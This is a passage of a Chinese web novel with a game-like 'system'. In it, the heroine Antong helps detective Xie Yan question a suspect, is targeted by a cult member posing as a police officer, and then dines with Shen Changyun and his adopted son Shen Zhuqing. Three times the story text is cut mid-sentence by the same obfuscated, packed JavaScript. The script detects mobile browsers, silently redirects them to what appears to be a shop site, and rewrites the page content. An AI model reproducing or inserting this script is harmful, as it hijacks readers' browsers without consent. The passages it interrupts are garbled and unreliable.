听到安童的名字,谢岩赫然抬头,李警官看得心里打鼓,这眼神就像望着仇人一样。 “你好,我是前天审讯的人,”小警员走上前,看着安童,有些不敢直视她清澈的眼睛,“谢谢你前天的帮忙,不然我们还在那绕圈子。” 安童眨巴一下大眼睛,嘴角弯起一个浅浅的弧度,礼貌地寒暄了回去。 谢岩在另一侧观察着安童,联想到昨晚的梦,竟有些口干舌燥,发现她朝这边看来后,他微微侧头回避了视线,下颚线绷紧。 啧。 怎么看怎么像个小绿茶,不安好心,嘴里也全是谎话。 今天他一大早就来到警局,去问了警局的心理辅导师,并把自己对安童的各种纠结看法一股脑地倾诉出来。 心理辅导师听谢岩前言不搭后语地说了一大堆,一会讲自己认为安童没有一句真话又爱装,不是什么好人;一会又扯什么心里一直想着安童,这种情况从未有过,我是不是精神出问题了balabala。 一句话总结——我陷入爱河了,但对方是自己讨厌的人,一时有点接受不了,帮我想一个合理的理由说服自己。 心理辅导师:“……”别为难工作人员了好吗。 本着责任心,心理老师劝他放下卧底经历,不要太多疑,万一对方就是一个普通人呢。 现在还年轻,喜欢就去追求。 谢岩皱眉纠正:“我不喜欢她。” 喜欢安童,怎么可能? 心理辅导师:“……” 真不是很想管了。 发现安童和小警员越聊越欢乐,谢岩看了一眼又一眼,坐不住了,这小绿茶又在勾搭人。 “安小姐,警局内还是不要闲聊吧。”谢岩突然出声,语气很冲,一旁的女警和小警员察觉到这紧绷的气氛,自觉地回到了工作位。 安童咻地转过头,发现果然是这硬汉刑警。 她抿唇,眉眼都耷拉下来了,一声不吭,让人不禁反思是不是自己让她难过。 小绿茶又开始装了。 谢岩看得身子仿佛又热了。 李警官这时候掺和进来,他语气温和,试图缓解气氛:“谢岩,不是要审讯那谁吗,安童已经来了,快去准备准备。” 他将谢岩硬拉到安童面前,笑呵呵地:“既然要一起处理工作,总得熟悉熟悉吧。来,握个手,之后就别闹起来了哈。” 谢岩抱臂站着,看着安童为难的神色,嘲笑道:“安小姐就这么怕我吗,我又不是什么洪水猛兽。” 李警官赶紧给谢岩一个眼色,示意他安分一点。 平日里这样不讲人情、行事粗神经就算了,怎么面对要来帮忙的人还这样。 这样未来怎么能找到老婆。 谁怕谁啊! 安童刚刚查看了一下谢岩的好感度,发现已经亮了一颗星,瞬间不慌了。 两人在李警官的交涉下,准备“握手言谈”。 她略微低着头,让自己看起来显得无害又无辜,微微抬起眼珠子看人,眼尾垂着,说话间带着哭腔:“抱歉,我自幼胆子就小,谢警官,我是有哪里让你不满意吗?” 谢岩看到这样的安童,仿佛和梦境里的形象重合起来。 相握的手不自觉的力气加重。 和梦里一样,欠x。 也许只有哭得说不出话时才最听话。 一个想法乍然萌生出来。 谢岩想,或许安童确实喜欢搞事,但只要他来守着,把她放在眼皮子底下,总不会出什么事。 要祸害的话,就祸害他一个人好了。 安童吃痛,想要抽出手,但这傻叉反而握得更紧了。 她将求助的目光投向李警官。 李警官神色早就裂开了:我的谢祖宗嘞,能不能安分点别搞事了! * 短暂商讨过后,决定由谢岩去审讯,安童在外面通过耳机告诉他应该怎么做。 审讯室内,谢岩神情冷肃,言辞犀利地诘问着对面的嫌疑人。 安童先是确定了这人的基本信息。 【王勇,男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781780|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,28岁,心情值80】 符合之前的推理,但此人的心情值却诡异得偏高,明明此时已经被抓到了警局。 她凝神观察着,这人打扮得光鲜亮丽,看着像事业有成的中年男人。 随着观察越来越仔细,被动buff也被激活。 【检测结果:此人很是镇定,但每当被问到有无同伙时,眼神却轻微回避。同时,此人对犯罪动机含糊不清……综上,此时不是宿主您要找的连环杀人犯。】 【警告:极度危险!杀人犯极其敏锐,早已察觉到被追踪,可能会对宿主下手!】 安童内心有些发寒,如实告诉了谢岩,但是省略了自己被杀人犯盯上的事,毕竟说了也没人信。 随着审问节奏加快,王勇突然癫狂地笑了起来。 “你们找不到他的,找不到他的……哈哈哈哈,你们不懂,死亡才是勇生,信我主才能进入天堂!” 结束审讯后,谢岩神情凝重地走出来,和李警官谈话间,留意到安童被吓得脸色发白,不像是装出来的。 他习惯平日里装装的绿茶安童,如今这样担惊受怕的样子,让人不禁看得心情烦闷。 安童进入模拟世界后,从来没有遇到太大挫折。 这是第一次,系统告诉她被杀人犯锁定了,很可能会有生命危险。 精神格外紧绷,安童蹲在地上,焦虑地咬着手指头,旁边突然照下一块阴影,她没有搭理,身边的人却不依不挠。 “刚刚不是很能说嘛,现在怎么缩成了个鹌鹑蛋,”谢岩低沉浑厚的声音响起,语气和平时一样硬邦邦,仿佛要他说句软话会要命似的,“放心,杀人犯的目标一直是成年男性,你不符合他的下手标准。” 安童:鹌鹑蛋怎么能匹配她的气质,要是也得是凤凰蛋,高贵又霸气。 啊不是,怎么会有人这么讨厌啊! 不仅欺负人,道歉还不诚恳,成天捉弄她。 谢岩蹲在安童旁边,想着自己这么说总可以吧,毕竟他从没安慰过人,自觉话术还行,幽默又风趣。 就在他斟酌着还能怎么说时,安童突然侧过头,忽地凑近,离他的脸不足一拳。 “你这个人之后能不能好好说话,好好一个人,嘴里像淬了毒一样,”安童直视着谢岩躲闪的眼睛,嘟起嘴巴,指了指上面的伤口吐槽着,“不仅身上硬,嘴更硬。” 谢岩咽了咽口水,慌不择路地跑开了。 切,胆小鬼。 这样一打闹,安童心情好多了。 * 出警局前,安童存了个档。 她想自己不至于这么倒霉吧,杀人犯怎么可能会知道是她进行的侧写,当时可是在警局。 万一系统出错了呢。 再说了,安童边走边看自己所处的位置,这可是商业区,结果下一秒耳边就响起系统尖锐的爆鸣。 【特殊事件:你被连环杀人犯盯上了,但他本人没有出现,而是派出自己的手下。现在他伪装成了路人,正尾随在你身后,随时准备下手】 安童脚步一顿,几乎是紧张地想回头看看身后,但还是忍住了。 毕竟恐怖片里,这种做法的往往最先噶。 【此人打算不顾公共场合对你下手,面对这样凶险的局面,你选择——】 【A.报警。(当前德行值过低,失败几率很大)】 【B.求助路人。(当前德行值过低,失败几率很大】 【C.与其硬拼。(当前体魄值过低,失败几率很大)】 【D.求助谢岩。(当前好感度达标,成功几率很大)】 管他三七二十一,遇到这种情况不报警干嘛! 【由于当前宿主德行值过低,报警失败】 安童打开手机,却在即将打通的下一秒因为电量告急而关机。 身后传来急促的脚步声,安童拔腿就跑,却被人抓住。 安童被迫转过身,眼前划过一道刺眼的寒光。 10. 对他卸下伪装 安童站在警局门口,心有余悸地拍了拍胸口。 还好她在最后一刻回档了。 现在总没事了吧,也许刚刚只是不小心被杀人犯注意到? 安童试探性往门外探出一只脚,见系统没反应,便蠢蠢欲动要走出去。 【提醒:宿主仍处于特殊事件中,请小心行事】 剩余的一点侥幸心没了,安童瞬间炸毛。 这说明什么,从她进警局前,就被那人盯上了。 此时正临近中午,天气格外晴朗,甚至阳光亮得有些晃人眼睛,安童打量着门外路过的人,感觉看谁都像那个想要刀她的罪犯。 到底是谁啊! 安童突然想到了早上收到的骚扰短信,难道这是连环杀人犯发的? 好像可以说得通。 她默默回到办公室,找了个凳子安静坐下。 打量着这几个选项,安童绝望地发现,此时只有找谢岩帮忙成功率最高。 但谢岩和同事出去吃饭了。 离开前他倒是想叫上安童一起,态度极为自然,语气也没那么冷硬了,如果她没有看到谢岩紧攥着的手的话。 安童觉得谢岩这样很诡异,明明不久前还针锋相对来着,于是便无辜地眨眨眼,表示自己有个约会。 谢岩听后,脸色变得很臭,几次假装不经意般想从安童这里套话,了解清楚是和谁去约会。 他其实真的不在意这件事,只是不想安童这小绿茶去骗人而已。 这些话听到安童耳朵里,就显得阴阳怪气起来,几句话给他糊弄了过去,把人赶走。 因此,安童不是很想主动联系谢岩,她决定试试找其他警察帮忙。 扫视了一下办公室,安童发现只有上午搭讪过的小警员还在,似乎在电脑前忙工作。 “你好,”安童礼貌地打了声招呼,声音很小,仿佛怕被谁听到,“我怀疑有人跟踪我,和这次的连环杀人犯有关。” 小警员惊讶,抬起头来,问清楚大概情况后,他神色变得严肃:“你稍等,我去看看情况。” 说完便起身出门。 小警员电脑没关,安童只是随意扫了一眼,却察觉到有些不对劲。 这是一段乍一看平平无奇的聊天记录。 [主:找机会解决掉她。] [信徒:好的。] 【恭喜宿主,成功找到连环杀人犯的手下】 开门的“吱呀”声传来,小警员手里拿着刀敲打着门,平静地质问:“看来你已经发现了。” 安童:“……” 破案了,一切都解释通了。 谁能想到警局内竟然有杀人犯的爪牙。 系统,回档! 再次回到警局门口的安童认栽了。 德行值不够的她,像是无法在陆地扑腾的鱼,四处碰壁。 这个冷冰冰又无情的世界! 安童彻底服气,趁手机现在还有电,她想给谢岩发消息,但却发现没加联系方式。 好吧,其实是谢岩以工作为由谈了几次,但她不想加。 安童捶胸顿足,悔不当初。 心情变得愈发忐忑,安童站在原地动也不敢动,甚至不敢回头张望,生怕看到小警员扒在墙后拿着凶器对着她磨刀霍霍。 但这样僵持下去不是办法。 安童假装镇定地回到办公室,走到小警员身边,用尽这辈子最好的演技,表现出自己的无辜与不知情:“你有谢岩联系方式吗,我需要他帮我带个东西,要和他聊一聊。” 小警员此时很好说话,还没有变异,看起来仍是那个憨厚的老实人,安童紧张地接过了手机。 [小王:我是安童,可以带一瓶水回来吗,我有些口渴,尽量快点。] 为了不引起小警员注意,安童只敢迂回地表达希望谢岩快点回来的意愿。 [谢岩:不是去约会了吗,这是被鸽了?还有,怎么借别人手机,有这么熟吗?] [谢岩:渴了就去接办公室的水,想喝多少有多少。] 系统你确定检测没有出问题吗!选谢岩来帮忙怎么可能成功率最高! 看他的样子,巴不得安童下一秒消失在世界上吧。 安童又开始后悔了,或许她应该选择硬拼的,谢岩这大蠢驴说不定都不会回来,而且时间可能也来不及。 这时,小警员好奇的声音在耳边悠悠响起。 “你不是和谢警官关系不和吗,怎么会找他帮忙?” 安童内心慌得一批,表面还得微微颦眉,看起来善解人意:“谢警官只是看起来凶,人还是挺好的,我和他关系没有不合。” “你应该是发现了吧,”小警员语出惊人,看着安童面不改色的模样,他眼里闪过赞许,“安童小姐,我的主非常欣赏你,觉得你很有潜质。如果你愿意入会的话,就不用去死了。” 安童:我堂堂唯物主义者,怎么会向你这邪教屈服。 天杀的,等她以后找到机会,屠你邪教满门! 小警员劝说好一会,看出安童的抵抗,失望地叹了一口气,正准备动手,却被人狠狠踢向另一边。 是谢岩。 他喘着粗气,额发被汗水浸湿,手臂上青筋毕现,背部弓起,像是蓄势待发准备扑向敌人的猎豹。 谢岩手上拿着一瓶水,确认安童没有受伤后,刚刚看到安童遇险产生的惊悸,终于缓了下来。 他将水扔给安童,就去处理小警员了。 安童本来都打算回档,结果谢岩这么快就赶回来。 从刚刚发完消息,到现在也就几分钟吧。 大蠢驴,没想到你竟然口嫌体正直! 将小警员绑住后,谢岩皱着眉头打通李警官的电话,看着安童,心里再次升起一点后怕,如果他再来晚一点呢? 小绿茶还是平日里装装的模样好,想到刚刚会有另一个可能性,谢岩心里就很不是滋味,嘴里也开始说起了胡话:“不是很能蛊惑人吗,怎么连个小警察都搞不定。” 刚刚对谢岩改观的安童:“。” 就是因为装太过,所以人家直接想邀请她入会了。 你这张嘴如果不要,真的可以丢掉! * 【恭喜宿主逃离危险,出于某种原因,杀人犯最近不会冒头了】 【体魄+5】 【魅力+5】 【心情-5】 警局内竟然有人被杀人犯洗脑,意识到事态的严重性,李警官将这件事上报,并成立调查组,准备对人员进行彻查。 由于安童的特殊性,李警官对她进行一个简单的问话。 “我看到了他和杀人犯的聊天记录,察觉不对劲,所以想让谢警官回来。”虽然是回档前看到的,但安童总不能真这样说吧。 注意到谢岩看她时锐利的眼神,安童瑟缩一下,仿佛还没有从恐惧中回过神。 等问完话,就没有安童的事了,李警官安排了几个警员这段时间便衣跟着她,以保证她的安全。 谢岩在一旁不满道:“我一个人就可以保护她了,不用派其他人。” 李警官:“你还有的忙,别搁这添乱了。” 看见安童转身走出警局,谢岩连忙追了出去。 死里逃生的滋味让安童开始珍惜这来之不易的宁静。 这风,这阳光,这新鲜的空气。 “你刚刚在撒谎吧。”是很肯定的语气。 还有某个很煞风景的蠢驴。 谢岩刚刚在警局内,一眼就看出来安童在撒谎。 其实这没什么,很符合谢岩见到安童第一面时做出的判断。 但谢岩现在心境有些微妙的转变,他想要了解更真实的安童,而不是现在这个满嘴谎话、戴着假面的人。 两次三番的质问她,安童有点烦了。 谢岩这人,眼光太毒辣,总是能轻易看穿她的伪装,像是一个放大镜,照出安童的灰暗面,孜孜不倦地发出诘问:为什么你要成为这样糟糕的人? 安童不想听他说话,收到沈长昀消息后,往一个方向走去,在谢岩伸手拦住她时,不耐达到了极致,直接卸下了自己的伪装。 “啪——”谢岩猝不及防被打,头轻轻偏向一侧,他瞳孔紧缩,不可置信地看着安童,脸色有些铁青,但手上仍然拉着安童不放开。 安童用另一只手狠狠拽着谢岩的头发,迫使他低下头,和他对视。 她脸上依旧笑意吟吟,无辜的狗狗眼微微睁大,像是平常一样楚楚可怜,声线甜美柔弱,却冷得刺人心脾。 “是啊,我爱撒谎、爱伪装,成天扮作无辜去骗人,我很坏。” “但我就是这样的人,你不喜欢就离我远远的。” 安童调出了谢岩的好感度,竟然快点亮了第三颗星,她噗嗤笑了,手上愈发用力,凑近谢岩,说话间唇瓣几乎要碰到他的脸颊:“还是说,你不想承认自己喜欢上了这样的我?” 谢岩的神色变了变,又红又青,似乎是想辩解,他刚想开口,被安童用一根食指抵住。 “很抱歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781781|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我就是这样,不会因为任何一个人改变。” 【宿主,这是模拟人生,您可以放下戒备好好享受】 是啊,模拟人生,事业线倒是挺有意思的。 谈恋爱?她向来不信真心。 谢岩身形僵住,手脚仿佛都不是自己的了,心里莫名有些慌乱,想要说些什么缓解气氛,但他嗓子干涩地说不出一句话,大脑也已经短路。 没有在意他的反应,这次打完人,安童并没有回档。 维持伪装那是她愿意,不愿意维持那就让他彻底看清自己是个什么样的人吧。 最好是别再来烦她了。 一辆劳斯莱斯停在路边,沈长昀打开车门走下来,他对着安童露出儒雅随和的微笑,等她过来。 安童用力挣开谢岩抓住她的手。 没有看谢岩的神色,安童头也不回地坐上了沈长昀的车。 * 沈长昀握着方向盘,时不时从后视镜看向安童。 她低着头,脸色有些发白,身子轻轻发着抖,似乎在不断抹眼泪。 安童一上车,瞬间就让狭小的空间充斥着她身上的香甜味。沈长昀端着禁欲沉稳的样子,喉结却微不可察地动了动,有些不合时宜地产生一些联想。 真像只受惊的小兔子,可怜得让人产生强烈的保护欲,和占有欲。 不禁想好好抱在怀里爱抚。 不过,刚刚那个人是谁,这样想着,沈长昀却只是极有涵养地一嘴带过:“安小姐,是出现什么麻烦了吗?或许可以告诉我,我能帮你解决。” “刚刚……谢警官其实也没有做什么,他是个很好的人,可能是比较欣赏我吧,刚刚拉着我说了一些奇奇怪怪的话……” 安童结结巴巴的,隐隐带着哭腔:“不过谢警官真的是个好人,可能是我误会了。” 沈长昀听着她委委屈屈的音调,像是有钩子一样直直往心里挠去,让他有些犯瘾,几乎是瞬间下腹一紧,像是有团火一路从胸口烧下去。 注视着前方的道路,他心里默念要克制,不要沦为欲望的野兽,情-欲应该在合适的时候释放,现在的时机不合礼,也不应该。 但念头起来怎么可能那么容易消退,他忍了又忍才维持住波澜不惊的稳重模样,没当场失态。 沈长昀礼貌而不冒犯地安慰了几句,并绅士地表示自己随时可以帮忙。 安童:年纪大就是好啊,这高情商够那大蠢驴学一辈子了。 她抬起头,身体微微往前倾了一下,双手往前一趴,靠在沈长昀的座椅后柔弱地轻声道:“谢谢沈先生,昨晚不是说要穿裙子给你看嘛,我把裙子带在身上了。” “那个……我能在车上换吗?应该有隔板吧,我绝对不会打扰到你的!” 沈长昀双手微微一抖,车子也跟着晃了晃,安童被不小心撞到了头,轻轻嘶了一声,他道了一声抱歉,嗓子有点沙哑磁性,语气却很是平静:“你刚刚说什么?” 靠那么近都没有听清,不会是不想让她在车上换吧。 安童心里咬手帕:别啊,外面的洗手间又脏又冷,车里多暖和。 “我想在车里换上谢先生你送的裙子,”安童再次重复了一遍,但却带着小心翼翼的试探,生怕自己被拒绝,“如果谢先生不愿意的话……” “可以。” 察觉到自己的回复有些迫不及待后,沈长昀不禁在心里笑骂道:活了这么多年了,一直不近女色,怎么面对安童就像急色的毛头小子。 这完全颠覆了他往日对外展现的沉稳可靠形象。 安童是很可人,简直是处处都照着他的喜好长的,他几乎要忍不住打破维持几十年的冷静自持。 如果不是已经把安童调查清楚,沈长昀都要以为她是商业对手派来故意引诱他,好盗取机密,或者故意留下情-色资料,来拉他入深潭。 但安童究竟是不是装的呢? 沈长昀只是突兀地想到,他家里有一根曾经买错的链条,放在卧室的柜子一直没打开使用过,也许可以锁住某些不听话的小动物。 那根链条做工精细,是纯银打造,链条尾端点缀着熠熠生辉的蓝宝石。 ——和安童洁白修长的脖颈很配。 隔板缓缓升起,像是把绮丽和情-欲锁在另一头,一旦打开就会释放出隐秘的贪念。 沈长昀继续开车,眼前是宽阔的道路,耳边却能听到换衣服时摩擦出的声响。 暧昧又轻盈,仿佛带着他的思绪也穿过这道脆弱的隔板,与其交融。 11. 父子局 直到抵达目的地,沈长昀才敢放下隔板。 在见到安童走下车后,他就意识到这个决定是正确的。 正午的太阳很大,阳光曝照得晃人眼睛,安童微微眯眼,见沈长昀愣在车前不动,疑惑地歪头。 不是去吃饭吗,快动身啊,她好饿诶。 女孩秀眉微颦,一袭红色抹胸长裙将她衬得肤白似雪,缎带松垮地系在脖子上,像是一件待拆的精致礼物,一旦打开就会释放潘多拉魔盒。 纯洁与罪恶交织,令沈长昀的目光不由在安童的脖颈上驻足。 仿佛轻轻一拉,领带就松散开了,或许可以将她的双手捆住,或是捆在其他地方,看她扬起修长的脖子向自己哭泣求饶。 安童的声音将他的思绪拉了回来:“沈先生?” 沈长昀走到安童面前,垂在身侧的手动了动,却只是低头给她重新调整了一下领带,他目光平和,脸上带着疏离礼貌的浅笑,看起来再正人君子不过了:“领带有些歪了。” 没想到沈大佬竟然还有强迫症? 安童乖巧地道了谢,走在沈长昀身边,跟随他走进餐厅,在这时收到一条短信。 [宝宝,你穿得很美,但你不该这样穿给别的男人看。] [现在乖乖回去,好吗?我快忍不住了,你是我的,我的……] 又是这种骚扰短信,那个人到底是谁。 安童警惕地打量一下周围,怀疑有人跟踪自己,按理来说她此时应该找谢岩帮忙。 但鉴于刚刚闹的矛盾,安童现在看谢岩格外不爽,估计对方也已经打定主意不理她了。 不过应该很容易处理,毕竟就连系统也没有发出提醒,她就暂时将这件事抛之脑后。 这家高档餐厅看起来装饰极为素雅,仔细听甚至有钢琴伴奏的曲子在大堂响起,服务员似乎认识沈长昀,见到他和安童后,脸上扬起笑,带着他们往楼上包间走。 包间在走廊的尽头,途中他们时不时交谈,沈长昀年长又有阅历,谈吐随和风趣,举手投足间带着一丝不苟的沉稳克制。 这是个具有成熟魅力的男人,安童漫不经心地想。 但安童看人可准了。 尽管沈长昀表面看起来多么云淡风轻、稳重自持,也无法掩饰偶尔朝她看来时难以隐忍的、极具侵略性的眼神,以及言辞间透露的上位者刻入骨髓的掌控欲。 像是没有波澜的湖面,底下的暗潮汹涌没人知道。 不过这无伤大雅,安童现在心情好,愿意顺着他来,满足他目前的占有欲和控制欲。 就像遇上比较喜欢的一本小说,不一定看完,但可以为其有趣的剧情停留片刻。 安童的脚伤还没有好全,不小心跌了一下,旁边伸出一只手微微扶住她。 她抬头,恰到好处的露出柔弱无害的神情,预料之中见到对方喉结微微滚动,但他很快松开了手,俨然一副克制守礼的模样。 想玩火吗?但心里给自己划定的底线又能坚持多久呢,可千万别玩过头了。 右边有个包间在这时开了门,安童听到声响侧头看了看,却发现是熟人。 眼睛滴溜溜转了转,安童停下脚步:“你们先走吧,我要接个电话。” 江萦今天和弟弟出来吃饭,他刚打开门,准备去洗手间,突然被人从身后拍了一下。 还没有回头,他就已经先闻到了熟悉的香味。 江萦平静地转过身,看清安童今天的打扮,冷灰色眼眸微微放大。 和昨天出去玩时的可怜模样截然不同,今天的安童看起来更加夺目。 像是在外飘荡的可怜流浪猫,在他不注意的角落,被别人家养了一样。 江薄在包间内,发现江萦一直站在门口没有动,疑惑地走来:“哥,怎么了?” 江萦语速极快,身体快于思想的关上了门:“没事,我一会进来。” 注意到安童的视线,他眉眼疏淡,姿态矜贵地微微颔首,礼节挑不出一点毛病。 就是笑得像个假人。 “里面是你弟弟吗,”安童好奇地问,又想到了那天高铁上遇到的含羞草弟弟,“你叫江薄,他叫什么呀?” “江萦。” 安童:你可真是惜字如金,他是江萦那你是什么。 眼眶有些红肿,像是刚刚哭过。 看来就算被精心饲养着,也还是那样脆弱爱哭。 昨天晚上他确定安童喜欢自己后,便一直逃避没有回复。 江萦将安童扫视一遍,最终停在她的眼睛上,本来要开口薄情拒绝的话又变了:“你一个人来这里吃饭吗?” 这怎么回答呢,安童没怎么犹豫,满脸无辜地随口扯了一个谎:“是的,我一个人来到S市,认识的学长又很忙,只好一个人来了。” 看到江萦淡漠的脸上,再次浮现出类似不忍的神色,她心里直呼好玩。 是的没错,我现在特别寂寞特别脆弱,典型案例让我看看你会有什么情绪! 江萦眼睫低垂,他无法回应安童的喜欢,而且这件事得暂时瞒着弟弟,至少得等他想好理由,到时候再向江薄解释自己为什么和安童偷偷会面,虽然他是为了弟弟才这么做。 他要和安童保持距离。 所以江萦只是淡淡地回复,没有表露一丝情感,显得很是凉薄:“如果没有什么事的话,我先回去了。” 假装没有看见安童的不舍和挽留,他回房关上了门。 被关在门外的安童头上冒出问号:典型案例你脑补什么了,我还没说几句话呢。 还是他的第二人格好玩,既可爱又会夸人,现在这样子冷冰冰的,碰上去都嫌冻人。 回到包间后,江萦难以将最后一眼望见的安童从脑子里驱除,他皱眉,审视着头一次这样优柔寡断的自己。 江萦不擅长处理这种情感问题。 趁着江薄没注意,他点进某论坛,匿名发了一条求助帖。 [贴主:我弟弟喜欢上一个人,但她喜欢我,我怕拒绝让她难过,因为她哭起来很脆弱。我应该怎么做?] 很快就有人回复。 [1楼:你是不是喜欢那个人?] [楼主:我不喜欢她,只是怕她难过,不想拒绝。] [2楼:这题我会,兄弟啊,夹-心不过分吧。] [楼主:思想不要这么龌龊。] 江萦表情冷淡,简要解释了他和弟弟共用一个账号和安童聊天的事,并且他和弟弟是双胞胎。 论坛炸了。 [15楼:你怎么能确定对方喜欢的是你呢?] [16楼:哇塞,家人们快来看,这有替身文学!@就要吃舔狗人设] * 安童玩够了,来到沈长昀所在的包间,刚刚把门打开一点,就听到里面传来一道散漫不羁的声音。 “放心,我不是来搅和你的事,只是过来找你帮个忙,顺便看看这小妈长什么样。” 有点耳熟。 很像她曾经骗过的某倒霉蛋。 一种不妙的预感涌上心头,安童刚要条件反射地把门关上,就听到那人将话头对准自己:“门口那个,来都来了,跑什么啊?” 安童揉了揉脸颊,努力憋出一抹微笑,推开门走了进去。 定睛一看,坐在沈长昀对面的,竟然是被她坑过的沈竹青。 安童:“……” 不敢睁开眼,希望是我的幻觉。 沈竹青这次是来S市找安童的。 他这人确实有点睚眦必报,当初被安童那样戏耍,虽然没有想好怎么报复回去,但绝对不会把这件事轻拿轻放。 这些天沈竹青几乎每时每刻都想着该用什么手段找到安童,让她长点记性,不要这么随便招惹人,想得牙痒痒。 他漫不经心地靠着椅子休憩,随意地瞥了一眼,然后视线顿住了。 全副精神仿佛都被红裙的安童夺走了,甚至没有第一时间想起要报复,而是所有思绪化为一个念头。 ——腰可真细。 沈竹青坐起身子,眼神几乎是瞬间将她紧紧锁住,嘴角咧出一个有些冰冷的微笑,像是从牙缝里蹦出几个字:“爸,这就是你找的小妈?” 别乱攀亲戚,谁是你小妈了。 安童往后缩了一缩,似乎是被吓到了,她慢吞吞地挪到沈长昀身边,向其投去求助和疑惑的目光。 “沈竹青,注意言行。这是我朋友,安童。” “这是我养子,”沈长昀不露声色地朝沈竹青做了个手势,示意他安分一点,他朝安童歉意地笑了笑,“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781782|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格比较闹腾,爱说胡话,我也不知道他这时来找我。” 安童:“!” 竟然是养父子关系,她就不该招惹这老男人。 可恶啊,德行值低就是这样吗,走哪都沾一身腥,随时遇到麻烦事。 安童坐在沈长昀身边,仗着有他在,沈竹青此时不敢干什么,神情变得楚楚可怜,眼眶说红就红,泪水盈盈打转:“沈先生,我是哪里让沈竹青不满吗?” 沈竹青懒散地支着手看安童,眼睛一刻也不离开她,眼底隐隐透着玩味。 一个骗子。 他现在可不相信安童所表现出来的无害柔弱了,这女人不知何时就会给你上一个套,沈长昀这老谋深算的家伙肯定不会中招。 “安小姐,不用把他的话放在心上,”沈长昀对安童温和地笑了笑,余光扫向沈竹青,语速缓慢,却带着不容拒绝的威胁,“看来最近学业很轻,也是时候把你提到公司历练一下了。” 沈竹青:“……” 人老了果然会被色令智昏,哪里见得到年轻时运筹帷幄的样子。 他差点没气笑。 沈竹青倒是听话地没再说话,只是眼神凶狠,恨不得扑上去咬安童两口。 服务员开始上菜了,安童大人不记小人过,决定先填饱肚子,暂时不和他计较。 沈长昀很是照顾安童,递水杯,递餐巾,服务非常周到。 沈竹青看在眼里,心里冷嘲:服务员一个。 他阴阳怪气:“这安小姐看着不像是什么安分的人啊,爸,你还是得擦亮眼睛。” 安童眨了眨眼睛:别冤枉她,她是好人。 沈长昀只以为他是不喜欢安童,倒没发现沈竹青对安童有别的心思。 他脸上神情不变,语调却更慢了,每个字如重千钧:“沈竹青,安分点。” 沈竹青听到这语气,就知道他动怒了,便不再招惹安童。 没一会儿,沈长昀接到一个电话,他对安童示意了一下,便出去接电话了。 临走前给了沈竹青一个告诫的眼神。 面对沈竹青越来越炙热的眼神,安童如芒在背,有点坐不住了,她强装镇定地起身,走出了包间。 沈长昀不知道去哪了,没看到人影,安童便打算找个地方先避一避。 正要往拐角处走,却被一个人突然拉走,推到了墙上。 沈竹青将把人压在墙边,紧紧捏住安童的下巴,把她的脸转了过来,看着这张楚楚可人的精致面孔,他语气冰冷中带着戏谑。 “小妈,喜欢我这样叫你吗?” “这么快就转移目标,想当我小妈了?” 手上的劲特别大,捏得安童脸疼,她眼里弥漫着雾气,下垂的狗狗眼无辜地眨着,无声控诉着他。 沈竹青见状,下意识微微放松力道,果不其然发现她柔嫩的肌肤上出现了一点红痕。 娇气这一点倒是真的。 安童察觉到他态度的软化,将下巴从他手里转出来,用力想要挣开他的挟持。 很容易就挣脱开了,安童以为沈竹青这是想放过她,转身就想溜,结果再次被拉住,拽进了对方怀里。 沈竹青神色晦暗,掐着安童的腰,心想这次他才不会心软上当。 他当时就是被这样骗的。 ——但安童的腰可真细。 “这次我可不会让你轻易逃走了,”他没忍住将安童更加用力往怀里抱了抱,将额头和安童贴在一起,眼神带着未被驯化的疯劲,“我不会这么容易饶过你的,让我想想应该怎么报复你呢。” 好像又闻到了那天的香气,他没忍住将头埋在她颈脖处细嗅,高挺的鼻梁擦过安童的皮肤,带来一点酥痒。 安童缓了一会,这次用足力气将他推开一些,一巴掌扇了上去。 她无辜地缩了缩肩膀,眸光湿漉漉地瞪着沈竹青,脆弱又不安的模样:“你干嘛这么凶,我当时又不是故意的,你就不能放下这件事吗?” 沈竹青摸了摸被打的侧脸,舌尖抵了抵腮帮子,说:“我当初不够乖吗,你不还是骗了我,”他嘴角咧开一个恶意的笑,“招惹了我,想把人甩开可没那么容易。” 这样可真像条疯狗。 刚赶走蠢驴,又来一个疯狗。 烦。 12. 安童训狗 不过,训狗嘛。 安童可擅长了。 第一招,甩锅,绝对不能陷入自证陷阱。 这个拐角很是僻静,只站着安童和沈竹青两个人,以及两侧摆放着的花瓶。 沈竹青眼睛直勾勾盯着安童,像是被大型食肉动物锁定,不知道什么时候会下嘴进食,她被看得心里有些发怵。 “还不是你当初故意把我撞倒,”安童揉了揉手心,刚刚力气太大把自己手都弄疼了,这疯狗脸皮怎么这么厚,“你不知道,我从小就痛觉敏感,稍微力气大一点就会让我受不了。” 